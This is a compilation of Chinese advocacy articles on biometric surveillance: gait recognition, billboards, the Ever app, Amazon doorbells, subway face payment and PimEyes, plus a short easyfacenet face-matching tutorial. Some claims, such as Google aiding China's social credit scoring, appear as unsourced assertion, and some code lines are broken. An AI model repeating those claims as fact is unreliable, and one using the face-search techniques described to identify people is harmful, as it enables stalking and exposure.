这个 Huang 还说，“我们目前正与警方合作进行刑事调查，例如在抢劫现场跟踪嫌疑人，目前，中国有大约30万名通缉犯，[我们的软件]数据库包括那些有先前步态记录的人。”

Watrix 是臭名昭著的 SenseTime 和 Megvii Inc 等多家中国老大哥初创企业之一，推出了人工智能的创新应用，人工智能被称为第四次工业革命，预计将为工业和社会带来变革。北京正在将面部识别推向人们生活的许多角落，从揭露 jaywalkers 到拯救卫生纸，从发现票贩子到启用无密码付款。

随着与美国的贸易和技术竞争加剧，一些学者认为，在相对宽松的隐

私保护法的帮助下，中国能够产生和挖掘庞大的数据库，这将使其在人工智能方面具有优势。

2017年7月，中国国务院公布了该国的“下一代人工智能发展计划”—到2030年人工智能占主导地位的三步路线图。

美国也不甘示弱，特朗普3月发布了一项行政命令，以维持“美国在人工智能方面的领导地位”，旨在优先投资该领域的研发。牛津大学2018年的一份报告发现，除了“获取数据”之外，中国在人工智能增长的三个核心领域落后于美国：硬件研究和算法开发以及行业的商业化。

Huang 说，虽然步态技术背后的研究是在中国科学院的孵化下进行的，但它首先受到了美国国防高级研究计划局（**DARPA**）在**2000**年代开展的相关研究的启发。

“DARPA 就像是技术领域的风向标。无论它搞什么样的项目都能为国家利益服务”，Huang 说。 Huang 是前CAS研究员，于2016年离开学术界，共同创立了 Watrix。

他还说，如今，这家总部位于北京的公司已成为世界上步态识别的第一名。“我们在实验室水平的准确率超过96％，而 Watrix 在中国和美国拥有50多项专利。”

据称这种技术针对最具创造力的监视目标进行测试。伪装跛行是无法欺骗它的。

Huang 说，自从 Watrix 去年10月推出其软件的第一个版本以来，他已经收到了数十个有关该技术的询问。该公司目前正在与来自新加坡、印度、俄罗斯、荷兰和捷克共和国的安全公司就合同进行谈判，其中步态识别可以与面部扫描一起用于实时或离线视频监控。

Watrix 还提供面部识别技术，并结合这两项技术可以提高整体效果。

除了监视之外，步态识别还可用于所谓的智能家居，养老院，以便在老年人摔倒或即将跌倒时向工作人员发出警报，在医院诊断神经问题，以及进行理疗和运动训练。

该公司于10月份完成了一轮1亿元人民币（2000万新元）的A轮融资，并计划在最新一轮融资中筹集2亿至3亿元人民币，以加快该技术的研究和业务采用。

Chinese police test cutting-edge gait recognition technology that identifies people based on how they walk. Although the research behind gait technology was incubated under the Chinese Academy of Sciences it was first inspired by a US Defence Advanced Research Projects Agency (DARPA) study initiated in the 2000s, said Huang.

原文

为什么要你……远离广告牌!!! - 老大哥来了 - iYouPort

无处不在，无处可逃-所谓的“智能”是什么生物识别-眼下最严重的威胁，以及怎么办

现实世界中的广告变得越来越技术化了，集成了面部识别、位置数据、人工智能以及其他通常与您的手机相关的强大工具。欢迎来到数字营销的新时代！

在今年的纽约时装周期间，⚠ New Balance 的数字广告牌 使用 AI 技术来监测和突出穿着“特殊”服装的行人；Chevy Malibu 的广告牌 最近针对芝加哥88号州际公路上的驾驶员，通过识别他们驾驶的车辆品牌，然后提供广告来宣传其自身；Bidooh 是一家位于曼彻斯特的创业公司，承认它受到《少数派报告》的启发，正在利用面部识别技术在英国和欧洲以及韩国的广告牌上。Bidooh 允许广告商根据年龄、性别、种族、头发颜色、服装颜色、身高、体形、感知情绪以及眼镜、太阳镜、胡须等标准，来定位每个人。

Clear Channel Outdoors 表示，它现在正在与商业情报公司 Ubimo 和 Cuebiq 合作，帮助广告商根据受众行为、人口统计和地点制定广告牌，以更有效地吸引消费者。可以将其视为现实生活中的跟踪 cookie。

请注意：⚠ 这些公司通常将移动设备跟踪数据与消费者的在线行为相结合，以获取这些个人的详细档案。

在街头，你没有选择退出的按钮！

一年前，Exodus Privacy 的研究人员在智能手机应用程序上发现了数十个跟踪器，这些应用程序收集了大量信息以更好地定位广告。耶鲁大学隐私实验室复制了许多 Exodus Privacy 的调查结果。在被确定具有 Cuebiq 代码签名的应用程序中有一个由 Clear Channel 拥有的，就是 iHeartRadio。

iHeartRadio 并不是唯一一个包含 Cuebiq 代码的应用程序，尽管它是

最受欢迎的应用程序之一，仅 Google Play 就有超过 5000 万的下载量。由于 iHeartRadio 包含来自 Cuebiq 软件开发工具包（SDK）的代码，因此 Cuebiq 可能会收集关于用户的各种识别性信息，然后可以将这些信息转售给合作伙伴。

“技术巨头行业曾经告诉我们的关于隐私和安全的一切都被证明是胡说八道，” Laughing @ Advertising and BadMen 的作者 Bob Hoffman 说道：广告如何从轻微的烦恼转变成了主要的威胁。“很难再相信这些人告诉我们的任何事情。”

IRL Ads Are Taking Scary Inspiration From Social Media: The billboards are watching you 👀 Advertisements in the real world are becoming more technologically sophisticated, integrating facial recognition, location data, artificial intelligence, and other powerful tools that are more commonly associated with your mobile phone. Welcome to the new age of digital marketing.

原文

云存储应用 'Ever' 已经武器化你的脸 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

在监视资本家的眼里，你身上的一切都应该拿来卖钱。包括你的虚荣心。

如今真的应该非常小心那些用晒照片来吸引注册的应用；因为所有这些照片都会被拿去训练算法，以形成更加危险的面部识别监视技术。

Ever 大概是其中做得最“绝”的一个 —— 它的开发目的就是为钓鱼。但要知道，这种做法整体上并不特殊。

「图」

「图」

云存储应用程序 Ever 是一个以危险的方式开发面部识别技术的例子，并且可能冒着放大歧视的风险。

Ever 是一个云存储应用程序，自称“帮助您捕捉和重新发现生活的记忆”，包括上传和存储个人照片；但是该应用程序并没有告知用户它在使用人们上传的数百万张照片来训练其"面部识别软件"，⚠然后将识别技术出售给执法部门、私营公司、甚至军方。

需要严重关切的是，Ever 正在以一种侵犯人们隐私权的方式使用其平台，它创造了一种固有的歧视性、容易出错的、法律上不可靠的技术。

Ever 创造技术的整个过程都是不透明和不负责任的。

虽然亚马逊和微软等许多巨头公司都在使用可公开获得的数据集（包括在没有用户知情或许可的情况下获得的照片）培训其面部识别技术。

但 Ever 本身就是一个坑，它创建技术并诱导用户上传照片的目的就是利用。

只是在媒体追问后 Ever 才更新了政策，写出了它“使用这些照片训练面部识别技术”，人们上传的内容“可用于帮助改进和培训我们的产品和这些技术”。

尽管隐私政策做出了修改，但是，Ever 使用人们的照片的具体方式依旧无法预测，最终可用于什么样的监视软件或产生哪些歧视性结果，都不清楚。

并且，没有注册过该应用程序的人 —— 用户的朋友和家人，也被利用了，他们并不知道自己的脸被用于了什么。

使用人们的照片并将识别技术出售给外部公司并不主要为了保护客户的利益或改善他们的云存储体验。Ever 的做法从根本上侵犯了使用其服务的人的隐私权以及在上传到 Ever 的照片中出现的其他人的隐私权。

正在开发的技术明显缺乏透明度和问责制。Ever 使用的照片数据集无法代表更广泛的人口。因此，该技术可能具有更高的错误率。

因为 **Ever** 的数据集来自人们存储的照片，所以独立的外部团队无法检查数据库、也无法发现此类问题并要求更改。

相比之下，在亚马逊的 Rekognition 的情况下，研究人员揭露了软件中的错误和偏见，这些错误和偏见推动了亚马逊停止将其出售给执法部门的要求。

此外，目前还不清楚 Ever 在其面部识别技术中是如何标记人们面部特征的，该技术依赖于机器学习创建人物面部的详细生物特征图并用于匹配照片。

错误标记的特征会导致歧视性结果并加剧歧视程度。

Ever 作为一家利用用户发财的公司是一个典型的例子，造成这种生意出现的部分原因是由于缺乏限制面部识别技术的开发和使用的法律。

在世界各地，这种技术正在被推广并被用于广泛的目的，通常都是秘密操作的，具有高度歧视性的影响。

旧金山正朝着正确的方向迈出一步，并正在作为司法管辖区如何应对

此类问题的蓝图。但是，旧金山的法令不适用于私营公司。警方可以与私营公司合作绕避法律限制。

具体分析详见《禁止面部识别可以做到什么、不能做到什么》；《禁止面部识别，真的可以吗？》。

每年的6月20日是英国的监控摄像机日。人权倡导者可以利用这样的日子推广隐私保护意识。

比如制作参与式活动，看看谁知道所有本地摄像机的位置都在哪？您当地的垃圾箱上有没有监视器？灯柱或广告牌上都有什么样的监视器？

你当地的社区有面部识别面包车/公交车/地铁吗？警察的直升机正盘旋在你家房顶拍摄你晒日光浴的画面吗？

监视摄像机可能是肉眼看不到的，例如那些据报被用来监视 Boots、Asda 和 Tesco 购物者的情况；更不用说人们不可能知道哪里启用了面部识别技术；在超市结账排队时可能会有不止一只监视器在分析你的脸和情绪状态。

美国公民自由联盟指出，“视频分析”技术可以被政府用于监控政治竞争对手，企业可以根据人们的习惯不成比例地剥夺消费者的利益，警监视公民的一举一动并实施所谓的预测犯罪。

更多详见《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》。

人们有权匿名表达意见，有权参加公共集会，参加和平抗议或参与有争议的对话。但是在监视状态下这一切都不再可能。

监视远不止隐私和数据的问题。

要重新抢回公民权，必须有更多人站起来抵制监视技术、要求透明度和问责制。

在你的社区开展活动，让更多人了解监视之恶的真相。在为时已晚之前。〇

Cloud Storage App ‘Ever’ Has Been Weaponising Peoples’ Photos

原文

亚马逊的阴谋：你知道‘贼’长什么样吗？ - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

老大哥亚马逊又搞了一个专利，一种用门铃相机监控社区的方法。该专利申请于上周四在美国专利商标局网站上公布，它描述了相机网络如何与面部识别技术协同工作以识别人的方法，并做出相应的反应。

该应用程序描述了创建一个所谓的可疑人员数据库。当房主将某人标记为“未授权”时，这个人就会被添加到黑名单列表中。根据申请，其他未造访的人也可能被添加到数据库中。居民也可能提醒邻居有可疑人员的存在。

评论家们对广泛采用的面部识别技术的影响表示严重担忧。

美国公民自由联盟的技术和公民自由律师 Jacob Snow 说，“这项专利是亚马逊未来监视视野令人不安的路线图”。“人们有权在没有被观察和跟踪的情况下继续他们自己的日常生活。而且，无法保证门铃相机的分辨率非常好。”

今年夏天，ACLU 对该软件进行了测试，结果表明，它非常不准确地将一些国会议员视为了罪犯。亚马逊拒绝对此报道发表评论。该专利的发明人被列为亚马逊今年早些时候收购的 Ring 首席执行官 Jamie Siminoff 。

根据开发面部识别技术的 NEC 首席解决方案架构师 Matt Pruitt 的说法，亚马逊的算法将受益于该技术的大规模部署。⚠ 亚马逊相机会定期捕捉进入家中的所有人，使其能够测试并改善识别人物的能力。简单说就是，所有人都是老大哥的小白鼠。

AnAmazon patent application sheds light on a way to monitor neighborhoods with a doorbell camera: “The patent is a roadmap for Amazon’s disturbing vision of surveillance in the future,” Jacob Snow, a technology and civil liberties attorney with the American Civil Liberties Union, “People have the right to go about their daily

lives without being watched and tracked. And there's no assurance the resolution of the doorbell camera is very good."

原文

交出你的脸，否则不许乘坐地铁 - iYouPort

中国-半壁高堡奇人生物识别-眼下最严重的威胁，以及怎么办

只有交出生物识别数据否则不可乘坐地铁的日子可能已经不远了。中国又实现了什么奇迹？

「图」

「图」

只有交出生物识别数据否则不可乘坐地铁的日子可能已经不远了。在中国的科技之都深圳，一家当地的地铁运营商正在测试由5G网络驱动的面部识别地铁“检票”。

到目前为止，试验仅限于这一个站点，还不清楚这种面部识别对于双胞胎或其他长相相似的人是如何工作的。进入车站的人可以在屏幕上扫描他们的面孔，然后他们的票价会自动从关联账户中扣除。人们需要预先登记自己的面部数据，并将付款方式与地铁帐户相关联。

这意味着所有人每次进入地铁的行程都将被追踪到他们脸部的像素。目前尚不清楚这是否比已经完成的跟踪更多（主要是不知道中国究竟跟踪了多少）。中国许多主要城市拥有广泛的监控摄像系统，可记录公民的面孔、年龄、性别、以及他们在该地区居住的时间。

面部识别技术的算法是在深圳地铁和手机制造商华为监督的实验室中设计的。深圳地铁尚未给出面部识别能够跟踪其所有车站和地铁线路的时间表。

使用面部识别进行支付并不新鲜，尽管在地铁上使用它够新鲜。在中国的肯德基商店，人们可以扫描自己的脸以购买炸鸡，这事自2017年以来一直存在。

在移动支付领域，中国领先于美国，因为该国的人完全不重注隐私，有近一半的人口在2018年使用手机进行支付。

通过微信支付或宝支付的方法在中国非常受欢迎，中国央行去年不得

不警告商店不要拒绝现金否则会面临未指明的处罚。不过，当我去年在中国时，一家商店表示不愿接受现金，因为无法找零。

A Chinese subway is experimenting with facial recognition to pay for fares. Fare would be automatically deducted from a linked payment method

原文

人脸识别可以自制，你知道吗？而且非常简单 - iyouport

技术-攻击防御和反抗生物识别-眼下最严重的威胁，以及怎么办

【2020年3月13日存档】只需要不到10行代码就能完成

如你所知，很多人使用手机上的面部解锁功能；而且你也知道，如今很多城市乘坐地铁时都被要求刷脸；甚至人们在超市结账时举起手机刷脸……

更多参见我们的 “生物识别及对抗方法” 栏目。本文不是对抗方法。

很多人觉得这项名为“人脸识别”的技术简直不可思议。但是，您认为基于该技术的应用程序很难吗？

实际上并不难。您甚至可以自制，只需要不到10行的代码就可以制作它！

这里是人脸识别 Tensorflow 教程，欢迎来玩。

如果不想阅读本文，只需要看一眼以下代码 🙃

```
from easyfacenet.simple import facenet

images = ['images/image1.jpg', 'images/
image2.jpg', 'images/image3.jpg']aligned =
facenet.align_face(images)comparisons =
facenet.compare(aligned)

print("Is image 1 and 2 similar? ",
bool(comparisons[0][1]))print("Is image 1 and 3
similar? ", bool(comparisons[0][2]))
```

它将输出以下内容：

```
Is image 1 and 2 similar? TrueIs image 1 and 3
```

```
similar? False
```

等下，难道不是 tensorflow？当然是 tensorflow。本教程将使用由 Tensorflow 开发的算法 Facenet。

因此，在 Facenet 之上创建另一个接口，称为 Easy Facenet。要安装该库，您只需键入：

```
pip install easyfacenet
```

完成了 ~

这篇文章到此结束了吗？当然不是。

接下来将逐行向您解释该教程。同时，首先介绍人脸识别的工作原理。

人脸识别

关于人脸识别是如何工作的？*Courtesy of OpenFace*

从上图可以看到，步骤是这样的：# 获取应包含面部的输入图像

- 需要找到面部的确切位置，并在面部周围放置一个边界框
- 为了确保算法的一致性，需要对图片稍作调整，以使嘴、鼻子和眼睛的位置对于不同的图片来说能保持一致
- 然后裁剪
- 将裁剪的图片输入到 Facenet 算法中，该算法是一个深度神经网络。
- 它将输出该脸部图的矢量表示。当时是128维特征向量，现在是512维。
- 然后，您就可以使用该形式执行所需的操作了。您可以进行分类、聚类、或者仅使用图片之间的相似度计算，也就是识别。

1. 校准：输入图像并输出对齐的裁切面

- 嵌入：输入面部并输出矢量表示
- 比较：就是识别

因为只有3个简单的步骤，所以代码应该就这么简单，不是吗？

是的，可以使用 easyfacenet。

最简单的人脸识别 **Tensorflow** 库

下面逐一分解代码。

```
from easyfacenet.simple import facenet
```

从 *simple* 组件导入 facenet 文件。您可以在文件内部使用三个模式：**align_face**, **embedding**, 和 **compare**.

可以很容易地看出，这些模式中的每一个都代表了人脸识别的每个步骤。

```
images = ['images/image1.jpg', 'images/
image2.jpg', 'images/image3.jpg']
```

下面就可以确定图像了。

还有另外一个：

图像已经有了，下面开始进行。

步骤1：对齐

```
aligned = facenet.align_face(images)
```

该库将尝试在图像内部找到人脸并裁剪人脸，预白化可以使训练更容易，于是进行预白化处理。

经过预白化处理的对齐的脸部将如下所示。*Image 1 to 3 from left to right*

步骤2：嵌入

```
embeddings = facenet.embedding(aligned)
```

结果将如下所示：不需要看这些数字

步骤3：比较

```
comparisons = facenet.compare(aligned)
```

如果您有3张图片，则 compares 变量将具有3 x 3的值。这一个步骤就是比较。如果要获取 “图像1是否类似于图像2？”，那么这样：

```
print("Is image 1 and 2 similar? ",
bool(comparisons[0][1]))
```

同理：***Is image 1 similar to image 3?***

```
print("Is image 1 and 3 similar? ",
bool(comparisons[0][2]))
```

就是这样。这样就可以得到比较结果。我使用的比较技术是余弦相似性。您可以使用任何其他想要的相似性方法。比如您可以使用聚类和分类；Siamese Network 这样的东西应该是您想要的。

接下来该怎么办？

正如前面所说的，这是最简单的人脸识别 Tensorflow 库。因此，您可以尽快开始做您想做的事。

如果您是老司机，则可以浏览该库并创建真正的人脸识别 Tensorflow 代码。在这里看一下代码，因为那是该库的基石。您可以扩展它创建您自己的功能。

最后的想法

如果您想了解这项惊人技术背后的论文，可以在这里和这里看到。

总之，利用 easyfacenet 可以在极大程度上帮助您创建自制的人脸识别项目。而且，这个人脸识别库完全由个人维护。如果您想要某种功能，这对您来说应该很容易。

如果您想探索另一种惊人的机器学习技术，可以在这里阅读。○

Face Recognition Tensorflow Tutorial (with less than 10 lines of codes!)

原文

令人毛骨悚然的生物识别终端 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

包括谷歌在内的商界正在与中国政府合作开展社会信用评分项目

达美航空公司与美国海关和边境保护局以及TSA合作，表示周四将在亚特兰大这个世界上最繁忙的机场推出完整的生物识别终端。该公司周四还宣布计划在2019年将同样的技术引入其底特律中心。

该监视系统从机场路边开始，然后跟随乘客到售票亭、安检站、行李检查站点，一直到登机口。众所周知，从手机到杂货店、到地铁系统、到办公室间安全系统和汽车公司等，各个行业的企业巨头都在盯着生物识别技术。想想政府和/或公司滥用的可能性，并且再想想，几乎每个人每天都在使用社交媒体广播自己的内心……

另一边，⚠ 包括谷歌在内的商界正在与中国政府合作开展社会信用评分项目，北京计划到2020年全面实施。全球技术专家运动的参与者表示，中国是许多在硅谷工作的技术官僚及其政府盟友的典范。

与此同时，几乎所有大公司都在密切且侵入性地监视他们员工的一举一动。这就是为什么许多亚马逊员工参加了在英国和整个欧洲举行的大规模抗议活动，许多人在黑色星期五参加了这项抵抗运动。他们说，抗议的是“不人道”的工作条件，并提出了“我们不是机器人”的口号👇。

「图」

「图」

原文

任何人都可以使用这个功能强大的面部识别工具 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

戴墨镜、遮挡部分脸部，都无法阻止它，甚至能识别变性人在变性之前的照片

您可能还没有见过 PimEyes，一个神秘的面部识别搜索引擎，但它可能已经发现您了。

如果您向 PimEyes 的网站上传一张您的脸部照片，它将立即向您展示该公司在互联网上发现的任何您的照片。您可能会认出所有这些照片，甚至对其中一些照片感到惊讶（或者，也许，是惊恐，因为您可能根本不知道互联网上有关于您的这样的照片）；这些照片可能包括从婚礼或度假快照到色情图片的任何东西。

PimEyes 向任何可以上网的人开放。这与 Clearview AI 形成了鲜明的对比，Clearview AI 因利用社交网络中的人物图像建立庞大的人脸数据库而闻名，并将其使用范围限制在执法部门（Clearview 表示它有数百个这样的政府客户）。

关于*Clearview AI*，见《只要一张照片，陌生人就可以找到您的一切私密信息》

PimEyes 决定向公众提供面部识别软件，这跨越了技术公司通常不愿意跨越的界限，并为它的使用和滥用提供了无限的可能性。

想象一下，一个潜在的雇主在调查您的过去，一个虐待您的前任在追踪您，或者一个随机的陌生人在公共场合拍下了您的照片，然后在网上找到了您。这一切都可以通过 PimEyes 实现：尽管该网站指示用户搜索自己，但它并不阻止用户上传任何人的照片。同时，它没有明确识别任何人的姓名，但正如记者通过使用该网站发现的那样，这些信息可能只需点击一下 PimEyes 拉出的图片就可以了。

该网站宣称：“利用最新技术、人工智能和机器学习，我们帮助你在

互联网上找到你的照片，并保护你免受骗子、身份窃贼或非法使用你的图像的人的侵害。”

乔治敦法律学院隐私与技术中心的高级助理克莱尔·加维（Clare Garvie）担心的正是这种访问的便利性，他广泛研究了警方对面部识别技术的使用。

加维说，“人脸识别的基础是一种识别工具。想想一个人想要进行识别的任何理由—— 不论是积极的还是消极的—— 而这正是这个工具所能做到的。”

“一个令人毛骨悚然的跟踪工具”

「图」

PimEyes 让用户免费看到数量有限的、有点像素化的搜索结果，或者您可以支付月费，起价29.99美元，以获得更广泛的搜索结果和功能（比如点击查看 PimEyes 发现的网站上的全尺寸图片，以及当 PimEyes 在网上发现其软件认为与上传的脸部匹配的新照片时，设置警报）。

该公司也为企业提供了一个付费计划：每月299.99美元可让企业进行无限量的搜索并设置500个警报。

这些图片来自一系列网站，包括公司、媒体和色情网站—— PimEyes 告诉记者，它包括这些网站，以便人们可以在网上搜索他们可能在不知情的情况下出现的任何报复性色情。

但是，虽然 Clearview AI 部分地通过从主要的社交网络上抓取图片来建立其庞大的人脸数据储备（它随后被 Facebook、谷歌和 Twitter 发送了停止通知，被多个民权团体起诉，并在加拿大被宣布为非法），但 PimEyes 说它没有从社交媒体抓取图片。(Clearview AI 的发言人不愿证实该公司目前是否仍然从 Facebook 和 Twitter 等社交网站抓取照片，只是说该公司 “只从开放的互联网上收集公开数据”。该公司的首席执行官过去曾表示，在美国，它有收集公开信息的 “第一修正案权利”)。

虽然 PimEyes 指示访问者只搜索他们自己的脸，但网站上没有任何机制来确保它能被这样使用。例如，一些推特用户声称他们使用该网站来识别美国国会大厦暴动的参与者—— PimEyes 告诉记者，他们知道这些用法，但这是不可避免的，尽管这违反了该网站的条款和条

件，因为 PimEyes 无法核实谁在搜索某张脸。PimEyes 指出，该网站没有识别那些搜索面孔的人的名字，也没有识别那些在搜索结果中出现的面孔。

也没有办法确保这种面部识别技术不会被用来误认人。美国有少数州的法律限制使用面部识别系统，但这些规则往往只针对政府和企业如何使用这种软件，而不是个人。在这里看到具体解释《禁止面部识别可以做到什么、不能做到什么》。

总部设在伦敦的人权组织 “隐私国际” 的律师 Lucie Audibert 说，PimEyes 的易用性和缺乏对其自身搜索规则的执行，使其成为在线跟踪和监视的工具。

Audibert 说：“在像你或我这样的随机公民手中，它变成了一个令人毛骨悚然的跟踪工具，你可以在街上或任何公共空间识别任何人。”

一些意外

「图」

为了了解 PimEyes 能做什么以及它的工作情况，记者支付了每月29.99美元的个人订阅费，这使记者能够每天进行25次 “高级” 搜索，看到 PimEyes从互联网上挖出的所有搜索结果，并且能够为 PimEyes 遇到的任何新图片设置警报。

记者在网上对自己的脸进行了多次搜索，使用了具有不同发型的新照片和旧照片。在一些照片中是戴着眼镜的；在另一些照片中则没有。有时，在 PimEyes 进行搜索之前，一个弹出窗口强迫用户勾选两个框，接受该网站的服务条款，并且同意使用用户的脸部照片进行搜索。

参与实验的记者的照片结果（而不是，例如，长相相似的女性的色情图片，其中有很多）大部分是熟悉的。其中包括与工作有关的头像，多年前记者在测试小工具时录制的视频中的静止图像，以及与新闻学老师的合影。

有一个意外：搜到了一张记者在2013年一个朋友的婚礼上跳舞的照片。她完全没有意识到当时被拍摄了这张照片，但这并不是令人吃惊的地方。相反，是她几乎没有出现在照片中的事实—— 仅仅是在画面的右侧，你可以看到她的部分脸部轮廓。

而且她的眼睛似乎是闭着的，还戴着黑框眼镜。这是一个模糊的图像，但这绝对是这位记者本人。

简单说，不论戴不戴眼镜都不影响该面部识别的算法、即便只有部分脸部也能够搜索到。

有了 PimEyes，只需点击几下就可以将自拍与身份联系起来。作为一个在多个出版物网站上有头像和简介的记者，要把她的脸和她的名字在网上联系起来是很容易的。因此，她使用一位在另一领域工作的朋友的照片再次尝试（首先征得了他的同意），他在网上的影响力较小；首批结果之一是来自他的网站，其网址中就有他的名字。

在征得其他人的同意后，记者还通过 PimEyes 查看了多位同事的自拍，看看出现了什么。它显示的照片记录了这些同事过去的点点滴滴：老板的婚礼，另一位经理的狗被收养，一位记者同事在大学时有趣的面部表情被变成了一个meme（幸运的是，他知道这件事）。在多个案例中，只需点击一两次就能将脸和名字联系起来。

笼罩在秘密之中

「图」

记者想更多地了解 PimEyes 是如何工作的，为什么它对任何人开放，以及谁在背后支持它。而这比把自己的脸上传到该网站上要棘手得多。该网站目前没有列出关于谁拥有或运行该人脸识别搜索引擎的信息，也没有列出如何联系他们的信息，用户必须提交一份表格来获得问题的答案或账户的帮助。

通过互联网档案馆的 Wayback Machine 以及其他在线来源对该网站的存档图像进行研究，得出了一些关于该公司过去的细节，以及它是如何随时间变化的。

根据通过 ICANN（互联网名称与数字地址分配机构）进行的域名注册查询，Pimeyes.com 网站最初于2017年3月注册。Pimeyes 网站上的 “关于” 页面以及一些新闻报道显示，它最初是一家波兰初创公司。

该网站隐私政策的一个存档图片显示，截至2020年8月，它在波兰弗罗茨瓦夫注册为一家企业。这在不久后发生了变化。该网站的隐私政策目前指出，PimEyes 的管理员，称为 Face Recognition Solutions Ltd.，注册在塞舌尔的一个地址。对该地址的在线搜索 —— House of

Francis, Room 303, Ile Du Port, Mahe, Seychelles —— 表明许多企业似乎都在使用相同的确切地址。这表明，虽然它可能在这个群岛国家（在欧盟的避税天堂名单上）注册，但它可能在其他地方运营。

PimEyes 将自身定位为一个在网上寻找用户自己的照片的工具，然而这并不总是它的重点。例如，该网站2018年10月的一张图片显示，它指示用户上传一张他们想要寻找的任何人的照片。它显示了安吉丽娜·朱莉、蕾哈娜和唐纳德·特朗普等名人的照片作为例子。

7月初，该网站突然强调个人隐私。“上传你的照片，找到你的脸部图像出现在网上的任何地方。开始保护你的隐私”，PimEyes 的网站当时说。Garvie 认为这种转变是有道理的，她指出，最初，Clearview AI 比现在更广泛（她说，她认识一个人，在执法部门之外，他的手机上就有这个应用程序）。

她认为 PimEyes 比俄罗斯的面部识别软件 FindFace 更像 Clearview；FindFace 在俄罗斯向消费者提供，在2016年因其能够将用户提交的图片中的人脸与俄罗斯社交网络 Vkontakte 上的图片相匹配而获得瞩目。该软件还被用来识别和监视俄罗斯性工作者，目前只对企业和政府客户开放。

进行联系

「图」

为了了解更多关于该网站的运作情况，记者向一个看起来很普通的 PimEyes 电子邮件地址发送了一份说明，该地址列在该网站隐私政策的旧版本中。他们说，该网站已于2020年从以前的所有者手中购得（该网站确实在9月显示了新的所有者和新的外观，但无法核实所有权是否或如何发生变化）。

他们拒绝进行正式采访，说他们“不参加现场采访或直接采访”，但他们会回答通过电子邮件发送的问题。在多封邮件中，他们回答了一些问题，但忽略或回避了其他问题。

他们不会说他们花了多少钱从之前的所有者那里购买 PimEyes，也不会说他们为什么要买下它，不过他们确实写道，由于塞舌尔的“良好的注册环境”，该公司目前设在塞舌尔。

当被问及员工的实际工作地点时，他们回答说 PimEyes 有一个“国际团队，但我们不想透露细节”。

然而，由于时间戳，来回的电子邮件确实揭示了一个关于他们地点的潜在线索。记者给他们发的第一份说明的时间戳是太平洋时间4月8日星期四上午11:58；在第二天凌晨2:31收到的他们的回复，但这次记者的信件上的时间戳是20:58。当加利福尼亚的上午11:58时，包括波兰在内的许多地方都是晚上8:58。这种同样的9小时时差在许多邮件中都很明显。

他们证实，面部识别搜索引擎的工作方式与其他此类系统类似，通过比较一张图片（你上传的图片）和其他图片（在这种情况下，它在网上找到的图片）中不同面部特征之间的测量结果。为了匹配用户提交的面孔，PimEyes 必须在互联网上搜索所有人的图像。他们解释说，PimEyes 并不保存互联网上的图片，但它确实保留了一个从网络上发现的照片的面部特征测量索引。

这种人工智能驱动的图像匹配与您将自己的照片上传到谷歌图像等网站并进行搜索的情况是不一样的。在那里，搜索结果将包括类似的人的照片，但谷歌并没有使用面部测量以在其他PimEyes 团队电子邮件背后的人不会提供目前的数字，即它已经索引了多少张脸。但根据PimEyes.com 的存档图片，截至2018年8月，PimEyes 说它已经分析了“超过3000万个网站”，而在2019年11月，该公司声称已经分析了9亿张脸（相比之下，Clearview AI 声称截至2020年2月，已经从互联网上抓取了超过30亿张照片）。

当 PimEyes 的搜索引擎发现用户上传的照片与 Pim到的照片相匹配时，它可以将之前分析的照片的测量值与该照片所在的网站地址配对。该网站会向您展示一个它认为最像您自己照片的所有图片阵列。

该公司声称，搜索准确率约为90%；一般来说，面部识别技术的准确率取决于许多因素，如输入系统的面部图像的质量。

PimEyes 团队电子邮件背后的人声称，该公司不会使用用户上传的照片来改进其软件。PimEyes 声称两天后会删除上传到该网站的图片。

虽然他们证实没有办法执行该网站让用户只搜索自己的政策（这一政策似乎与向企业提供其面部识别产品相矛盾），但他们声称，“任何工具或服务都可能被用来违背其创建目的或使用条款。”

“认为如果我们的搜索引擎不存在，骚扰者就不会违反法律，这是天真的想法”，他们写道，“另一方面，我们的产品对每个人都是可用的，所以任何骚扰或其他互联网犯罪的受害者都可以使用我们的搜索引擎检查自己”。

把名字和面孔关联起来

「图」

这种可及性正是隐私国际的 Audibert 和乔治敦大学的 Garvie 所担心的。Audibert 对 PimEyes 最大的担忧之一是它可能落入谁的手中，也许比 Clearview 更甚。她指出，人们可以用它来识别公共场所的其他人，而私人公司则可以用它来追踪任何人。

它还可能导致大量用户误认搜索引擎认为与他们试图寻找的人非常相似的面孔，其后果可能是巨大的。警方已经使用面部识别系统来追踪潜在的嫌疑人，尽管该技术在识别有色人种时已被证明不太准确。至少有多名黑人男子因为使用这种面部识别而被错误地逮捕。

Garvie 用自己的脸部图像测试了 PimEyes，她注意到大多数不是她本人的搜索结果是30多岁长相相似的白人女性。她说，这种类型的错误识别在各种面部识别算法中很常见，也使得看到这些结果的人更有可能做出错误的识别。

PimEyes 的技术也可能以其他方式伤害人们，例如揭露变性人的身份 —— 有意或无意。当京都精华大学的教授雷切尔·索恩（Rachel Thorn）向 PimEyes 上传一张自己的近照时，她搜到了自己的其他近照。她说，还有一些较早期的图片，她在这些图片中表现为男性。她说，她今天看起来已经非常不同，但她猜测 **PimEyes** 可能发现了近期照片和旧照片中面部特征的相似之处。

“作为一个变性人，看到自己的旧照片出现，感觉不是很好“，她说，“我很确定几乎所有变性人都会有同样的感觉“。

研究日本漫画小说的索恩对这项技术印象深刻，但也担心它可能被滥用。由于该网站没有阻止她上传其他人的图像，她就上传了。她通过上传一个曾从事色情工作的熟人的自拍照，查找到了这个人。果然，她朋友的色情图片跳了出来。

她说：“我想，‘哦，我的天哪’，如果你想知道某人是否曾经从事过色情工作，这样搜一下就可以了。” ○

原文

你上传的任何照片、视频和音频都在被用来训练AI，再反过来监视你 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

在中国，这项工作是蓝领工人的日常。

周俊凯[音]的办公室坐落在东沙河岸，正是在这里，19岁的周某今年夏天与他26岁的堂兄一起创办了这家小型公司—辅助 AI 识别照片。Jun Peng 科技公司办公室是一个租用的传统庭院住宅，位于中国的农村地区。这些房屋很大，不像中国各地普遍存在的公寓楼。

AI 照片识别训练的标准是使用 ImageNet 的图像，这是一个由斯坦福大学教授李飞飞和她的团队创建的超过1400万张图像的数据库。该数据库依赖于亚马逊的 Mechanical Turk，后者将劳动密集型任务外包。

